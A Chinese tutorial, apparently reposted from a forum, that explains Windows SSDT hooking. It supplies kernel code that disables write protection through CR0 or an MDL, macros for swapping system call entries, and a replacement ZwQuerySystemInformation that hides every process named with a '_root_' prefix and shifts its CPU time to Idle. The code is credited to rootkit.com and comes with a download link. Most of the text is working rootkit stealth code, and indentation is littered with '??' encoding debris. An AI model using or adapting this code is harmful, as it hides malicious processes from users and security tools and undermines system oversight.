原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost
前言:這只是一篇類似于教學性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實現方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過一個小程序實現ring0下SSDT HOOK來隱藏特定進程。大牛請飄過。什么是SSDT?SSDT(System Service Dispatch Table)系統服務描述符表,它用來查詢處理系統調用的特定函數。也就是說,這個表把ring3下UserMode的Win32 API同ring0下Kernel API相聯系。
SSDT HOOK 有什么用?通過修改SSDT中的函數入口地址來HOOK SSDT中的函數,你可以過濾掉你所關心的特定結果,從而欺騙操作系統。比如,你可以隱藏特定的進程,隱藏文件,隱藏端口等等。
下面讓我們正式進入到SSDT?? HOOK的探索旅程中吧!
我首先會闡述一些關于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過內存的寫保護來修改SSDT,最后通過一個簡單的例子來介紹如何使用SSDT HOOK來隱藏進程。
SSDT的基本概念SSDT通過索引系統調用號來查找在內存中的函數地址。而另一個被稱為SSPT(System Service Parameter Table)系統服務參數表,它則指定了每一個系統服務的函數參數的字節數。
KeServiceDescriptorTable是一個內核的導出表,這個表中包含一個指向部分SSDT的指針。而SSDT中則包含著內核的主要部 分,Ntoskrnl.exe中的核心系統服務的實現。KeServiceDescriptorTable當然也包含一個指向SSPT的指針。
SSDT中包含著每一個內核導出函數的地址,每個地址是4字節長。SSPT中每個元素則是1字節長,而且用16進制來表示SSDT中指定函數的參數長度。在下圖中,在地址0x804AB3BF的函數,它的參數長度是0x18。
當調用一個指定的函數時,KiSystemService只是簡單的用目標函數的ID號乘以4,來得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務的數目,這個值可以用來找到SSDT或者SSPT中的最大偏移。
當調用INT 2E或者SYSENTER指令時,將會觸發系統服務。這將使得進程進入到Kernel Mode,也就是所說的ring0。應用程序能夠直接觸發system service dispatcher,KiSystemService,或者通過使用子系統來觸發。如果使用的是子系統的話(比如Win32),那么它將進入到 Ntdll.dll,然后把請求的系統函數索引號或者系統服務標志符裝入到EAX中,再把函數參數的地址裝入到EDX中。然后system service dispatcher將會核查參數,把它們從用戶棧復制到內核棧。它然后調用通過EAX中系統服務標志符來指定的SSDT中索引的函數。
一旦你的應用程序被作為一個驅動程序加載,它就能夠改變SSDT中指向的函數變為你自己的函數,而不是Ntoskrnl.exe 或者Win32k.sys中的函數。當一個非內核的程序進入到內核時,它的請求被system service dispatcher處理,并且你的程序的函數將被調用。基于這一點,你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個虛假的信息給應用程 序。
改寫SSDT內存保護Windows系統對部分內存起用了寫保護,來防止內存頁被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來防止任何應用程序來修改這個表。
寫保護操作給你的應用程序提出了一個挑戰,它使得你想HOOK某些系統調用來過濾返回信息變得困難起來。如果你試圖去對一個只讀的內存進行操作,那么你將會遇到BSoD,也就是經典的藍屏死機的問題。
有兩個方法可以繞過寫保護,一種是修改控制寄存器CR0中的寫保護位來繞過,另一種是利用Memory Descriptor List (MDL)來繞過寫保護。
先說第一種方法,第一種方法比較簡單,也就是只要把CR0中的WP(寫保護)位設置為0,就可以禁止內存保護。
據說修改MDL才是正規的做法// 取消內存保護
?? __asm
?? {
?? ?? ?? push eax
?? ?? ?? mov?? eax, CR0
?? ?? ?? and?? eax, 0FFFEFFFFh
?? ?? ?? mov?? CR0, eax
?? ?? ?? pop?? eax
?? }
// 重新起用內存保護
?? __asm
?? {
?? ?? ?? push eax
?? ?? ?? mov?? eax, CR0
?? ?? ?? or eax, NOT 0FFFEFFFFh
?? ?? ?? mov?? CR0, eax
?? ?? ?? pop?? eax
?? }
第二種方法是利用MDL,這個方法在Microsoft的文檔中講得很詳細了。
你可以在MDL中描述一段內存,包括內存段的起始位置,所擁有的進程,字節數,內存段的標志等等。
// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA ??? 0x0001
#define MDL_PAGES_LOCKED ?? ?? ?? 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL ?? ?? ?? ?? ??? 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ ?? ?? ?? 0x0040
#define MDL_WRITE_OPERATION ?? ?? 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD ?? ?? ?? ?? 0x0200
#define MDL_PHYSICAL_VIEW ?? ?? ??? 0x0400
#define MDL_IO_SPACE ?? ?? ?? ?? 0x0800
#define MDL_NETWORK_HEADER ?? ?? 0x1000
#define MDL_MAPPING_CAN_FAIL ?? ??? 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000
為了改變內存的標志,下面的代碼首先聲明一個結構體,用來保存從Windows內核中導出的KeServiceDescriptorTable。當你調用 MmCreateMdl時,你需要知道KeServiceDescriptorTable的基址和它所擁有的函數入口的數量。這個函數定義了你想要MDL 描述的內存段的起始地址和大小。然后你的應用程序在內存的非頁池中創建MDL。
你的應用程序可以通過改變MDL的標志來使得你可以寫內存段,也就是把MDL flag設置為MDL_MAPPED_TO_SYSTEM_VA。然后調用MmMapLockedPages來鎖定內存中的MDL頁。
現在,你可以準備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內容相一致,但是,現在你可以修改它了。
// 聲明
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
?? ??? unsigned int *ServiceTableBase;
?? ??? unsigned int *ServiceCounterTableBase;
?? ??? unsigned int NumberOfServices;
?? ??? unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL?? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 保存原始的系統調用地址,映射到我們的域中,來改變MDL的保護
g_pmdlSystemCall = MmCreateMdl(NULL,
?? ?? ?? ?? ?? KeServiceDescriptorTable.ServiceTableBase,
?? ?? ?? ?? ?? KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改變MDL的標志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
?? ?? ?? ?? ?? ?? ?? ?? ??? MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
HOOKING SSDT下面列出了幾個對HOOKING SSDT比較有用的宏。
#define SYSTEMSERVICE(_func) \
?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) ?? \
?? ??? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?? ??? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
?? ??? InterlockedExchange((PLONG) ?? ?? ??? \
?? ??? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
SYSTEMSERVICE宏的參數(姑且稱為參數吧)是ntoskrnl.exe導出的函數地址,是一個Zw* 型的函數,返回一個在SSDT表中Nt*型的函數地址。
SYSCALL_INDEX宏的參數是Zw*型的函數的地址,返回一個在SSDT中相一致的索引號。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數地址同_Hook函數地址在SSDT中自動交換。
這幾個宏將會在下面的例子中非常有用。
例子:使用SSDT HOOK來隱藏進程?? Windows操作系統使用ZwQuerySystemInformation函數來查詢許多不同的操作系統信息。比如,任務管理器 Taskmgr.exe,就是使用這個函數來獲得系統的進程列表。返回的信息則是依靠SystemInformationClass來決定的。比如,在這 個例子中,我們想要獲得系統的進程信息,我們需要把SystemInformationClass設置為5。更多詳細的信息,請參閱Microsoft Windows DDK。
一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調用原始的系統調用,并且過濾掉敏感信息。
在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結構體和與其相對應的_SYSTEM_THREADS結構體。在 _SYSTEM_PROCESSES中,進程名是UNICODE_STRING的。兩個LARGE_INTEGER則是進程的user和kernel的時 間。當你的程序隱藏一個進程的時候,你的程序應該把這個進程的執行開銷所花費的時間加到列表中的其它進程中,以保證CPU的總的時間是100%。
下面的是ZwQuerySystemInformation所返回的進程和線程的結構體。
struct _SYSTEM_THREADS
{
?? ??? LARGE_INTEGER ?? ?? ??? KernelTime;
?? ??? LARGE_INTEGER ?? ?? ??? UserTime;
?? ??? LARGE_INTEGER ?? ?? ??? CreateTime;
?? ??? ULONG ?? ?? ?? ?? ?? WaitTime;
?? ??? PVOID ?? ?? ?? ?? ?? StartAddress;
?? ??? CLIENT_ID ?? ?? ?? ?? ClientIs;
?? ??? KPRIORITY ?? ?? ?? ?? Priority;
?? ??? KPRIORITY ?? ?? ?? ?? BasePriority;
?? ??? ULONG ?? ?? ?? ?? ?? ContextSwitchCount;
?? ??? ULONG ?? ?? ?? ?? ?? ThreadState;
?? ??? KWAIT_REASON ?? ?? ?? WaitReason;
};
struct _SYSTEM_PROCESSES
{
?? ??? ULONG ?? ?? ?? ?? ?? NextEntryDelta;
?? ??? ULONG ?? ?? ?? ?? ?? ThreadCount;
?? ??? ULONG ?? ?? ?? ?? ?? Reserved[6];
?? ??? LARGE_INTEGER ?? ?? ??? CreateTime;
?? ??? LARGE_INTEGER ?? ?? ??? UserTime;
?? ??? LARGE_INTEGER ?? ?? ??? KernelTime;
?? ??? UNICODE_STRING ?? ?? ProcessName;
?? ??? KPRIORITY ?? ?? ?? ?? BasePriority;
?? ??? ULONG ?? ?? ?? ?? ?? ProcessId;
?? ??? ULONG ?? ?? ?? ?? ?? InheritedFromProcessId;
?? ??? ULONG ?? ?? ?? ?? ?? HandleCount;
?? ??? ULONG ?? ?? ?? ?? ?? Reserved2[2];
?? ??? VM_COUNTERS ?? ?? ?? VmCounters;
?? ??? IO_COUNTERS ?? ?? ?? IoCounters; ?? ??? //windows 2000 only
?? ??? struct _SYSTEM_THREADS?? Threads[1];
};
下面的NewZwQuerySystemInformation將會過濾掉所有以“"_root_”打頭的進程名,并且把它們的運行開銷加到Idle的進程中,也就是加到系統空閑進程中。
///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函數
// ZwQuerySystemInformation() 返回一個進程的鏈表
// 下面的函數將會去掉所有以“_root_”打頭的進程
NTSTATUS NewZwQuerySystemInformation(
?? ?? ?? IN ULONG SystemInformationClass,
?? ?? ?? IN PVOID SystemInformation,
?? ?? ?? IN ULONG SystemInformationLength,
?? ?? ?? OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? (SystemInformationClass,
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? SystemInformation,
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? SystemInformationLength,
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ReturnLength);
if( NT_SUCCESS(ntStatus))
{
?? if(SystemInformationClass == 5)
?? {
?? ??? // 查詢進程的鏈表,并且去掉以“_root_”打頭的進程
?? ?? struct _SYSTEM_PROCESSES *curr =
?? ?? ?? ?? (struct _SYSTEM_PROCESSES *) SystemInformation;
?? ??? struct _SYSTEM_PROCESSES *prev = NULL;
?? ??? while(curr)
?? ??? {
?? ?? //DbgPrint("Current item is %x\n", curr);
?? ?? if (curr->ProcessName.Buffer != NULL)
?? ?? {
?? ?? ?? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
?? ?? ?? {
?? ?? ?? ?? m_UserTime.QuadPart += curr->UserTime.QuadPart;
?? ?? ?? ?? m_KernelTime.QuadPart +=
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? curr->KernelTime.QuadPart;
?? ?? ?? ?? if(prev) ?? // 鏈表的第二個節點到最后一個節點的處理
?? ?? ?? ?? {
?? ?? ?? ?? ?? if(curr->NextEntryDelta)
?? ?? ?? ?? ?? ?? prev->NextEntryDelta +=
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? curr->NextEntryDelta;
?? ?? ?? ?? ?? else ?? // 最后一個節點
?? ?? ?? ?? ?? ?? prev->NextEntryDelta = 0;
?? ?? ?? ?? }
?? ?? ?? ?? else
?? ?? ?? ?? {
?? ?? ?? ?? ?? if(curr->NextEntryDelta)
?? ?? ?? ?? ?? {
?? ?? ?? ?? ?? ?? // 鏈表的第一個節點,向后移動指針
?? ?? ?? ?? ?? ?? (char*)SystemInformation +=
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? curr->NextEntryDelta;
?? ?? ?? ?? ?? }
?? ?? ?? ?? ?? else ?? ?? // 只有一個節點
?? ?? ?? ?? ?? ?? SystemInformation = NULL;
?? ?? ?? ?? }
?? ?? ?? }
?? ?? }
?? ?? else ?? ?? ?? ?? // Idle進程的入口
?? ?? {
?? ?? ?? // 把 _root_*進程開銷加到Idle的進程中去
?? ?? ?? curr->UserTime.QuadPart += m_UserTime.QuadPart;
?? ?? ?? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
?? ?? ?? // 為我們下次過濾的時候重置
?? ?? ?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
?? ?? }
?? ?? prev = curr;
?? ?? ??? if(curr->NextEntryDelta)((char*)curr+=
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? curr->NextEntryDelta);
?? ?? ?? else curr = NULL;
?? }
?? }
??? else if (SystemInformationClass == 8)
??? {
?? ?? // 查詢系統進程開銷
?? ?? struct _SYSTEM_PROCESSOR_TIMES * times =
?? ?? ??? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
?? ?? times->IdleTime.QuadPart += m_UserTime.QuadPart +
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? m_KernelTime.QuadPart;
?? }
}
return ntStatus;
}
注:以上代碼來源于
www.rootkit.com,完整代碼下載地址為:
http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip現在你的程序可以把進程中所有以“_root_”打頭的進程都隱藏起來了,當然你可以更改隱藏的進程名。
通過上述的例子,你可以明白HOOK的好處了吧,當然在SSDT中還有許多值得我們HOOK的函數,展開你的想象吧,沒有做不到,只有想不到!